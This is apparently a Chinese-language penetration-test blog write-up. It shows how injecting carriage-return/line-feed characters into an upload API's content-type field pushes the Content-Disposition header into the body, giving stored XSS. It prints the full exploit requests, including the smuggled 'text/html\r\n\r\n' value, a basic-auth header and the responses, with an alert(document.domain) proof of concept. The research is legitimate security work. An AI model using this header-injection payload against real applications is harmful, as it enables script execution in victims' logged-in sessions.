突破Content-Disposition:利用HTTP头注入实现XSS攻击

本文详细介绍了如何通过HTTP头注入绕过Content-Disposition响应头,实现跨站脚本攻击。文章包含实际案例、技术细节和攻击步骤,适合安全研究人员和开发者参考。

突破Content-Disposition

Content-Disposition响应头指示浏览器下载文件而不是在浏览器窗口中显示它。

1
Content-Disposition: attachment; filename="filename.jpg"

例如,即使此HTML输出<script>alert(document.domain)</script>,由于响应头告诉浏览器下载,这意味着无法绕过同源策略。

这对于允许用户上传文件到系统的跨站脚本攻击是一个很好的缓解措施。HTML文件是最大的威胁,用户上传包含脚本的HTML文件可以立即将其他人引导到下载链接。如果浏览器不强制下载内容,脚本将在下载URL的域上下文中执行,使上传者能够访问受害者会话的客户端(点击链接的人)。当然,您可以从另一个域提供任何下载,但如果只有授权用户才能访问文件,这意味着需要实现某种跨域身份验证系统,这本身可能容易存在安全漏洞。请注意,理想情况下(从攻击者的角度来看),任何上传都应该能够被其他用户下载,或者至少可以共享,否则我们只处于自我XSS领域,我认为这不是漏洞。

除了明显的HTML,还有通过上传Flash或PDF然后在攻击者的页面上嵌入上传来绕过SOP的方法。

那么……Content-Disposition可以被绕过吗?有一些旧方法依赖于Internet Explorer缓存错误或Firefox错误:

(链接从此处窃取。)

在之前的一次渗透测试中,我发现了另一种方法。诚然,这在该应用程序中是独特的,但我确信这不是唯一一个以这种方式易受攻击的应用程序。

该应用程序包括一个页面设计器,页面设计器小部件允许上传图像以包含在页面中。上传功能对渗透测试人员来说可能是一个金矿,所以我立即开始测试它。不幸的是,尝试上传类型为text/html的文件会返回400 Bad Request。实际上,尝试上传除图像之外的任何内容都会得到相同的响应。即使客户端给了我源代码访问权限,我验证了代码,代码看起来是合理的——只允许上传白名单中允许的类型。

如果文件被上传,浏览器会在包含content-disposition头的响应中下载它:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:19:25 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: image/png
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=foobar.png
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

然而,客户端似乎忘记了一个后端API服务,普通用户可以通过将应用程序用户名和密码传递到基本认证头中来验证到此服务。

此头是请求头,格式如下:

1
Authorization: <type> <credentials>

在基本模式下,这是:

1
Authorization: basic base64(username:password)

因此,为了演示,您可以使用在线工具,例如这个。如果您的用户名是foo,密码是bar,您将传递以下头:

1
Authorization: basic Zm9vOmJhcg=

这是foo:bar的base64编码。

将此传递给API,该API公开可用但在端口8875上运行,允许作为认证用户访问其功能。

我发现的第一个缺陷是API允许上传任何内容类型,即使在使用Web UI时不允许的类型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /store/data/files HTTP/1.1
Host: 10.10.65.26:8875
Content-Length: 453
Content-Type: application/json
User-Agent: curl
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Authorization: basic Zm9vOmJhcg=
Accept: */*

{"name": "xss.htm", "data": "PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+", "type": "text/html"}

显然,这是从原始应用程序简化和匿名化的。无论如何,这给出了以下HTTP响应:

1
2
3
HTTP/1.1 201 Created
<snip>
{"_key":"10000006788421"}

请求文件实际上返回了内容类型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:24:11 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

然而,那个讨厌的content-disposition阻止了我们获得XSS。

我接下来尝试的是将类型设置为text/html\r\n\foo:bar,认为这不会工作。然而,它上传得很好,并且在请求下载时,我得到了注入的头返回:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:44:35 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
foo:bar
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

有趣……我首次尝试绕过content-disposition是注入另一个content-disposition头,希望浏览器会作用于第一个:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:45:52 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
content-disposition: inline
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

然而,浏览器用以下错误标记了这一点,这是我以前从未见过的:

经过一些思考,我提出了以下有效载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /store/data/files HTTP/1.1
Host: 10.10.65.26:8875
Content-Length: 453
Content-Type: application/json
User-Agent: curl
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Authorization: basic Zm9vOmJhcg=
Accept: */*

{"name": "xss.htm", "data": "PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+", "type": "text/html\r\n\r\n"}

这给了我之前的ID:

1
2
3
HTTP/1.1 201 Created
<snip>
{"_key":"10000006788444"}

请求

1
https://10.10.65.26/en-GB/files/10000006788444/download

给出了XSS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 17:34:21 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

这是由于注入了回车和换行符,导致浏览器将第二个原始content-disposition头解释为HTTP正文的一部分,因此被忽略作为告诉浏览器下载的指令。当然,这需要一些社会工程,因为您需要受害者跟随下载文件的链接以在其登录上下文中触发JavaScript。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计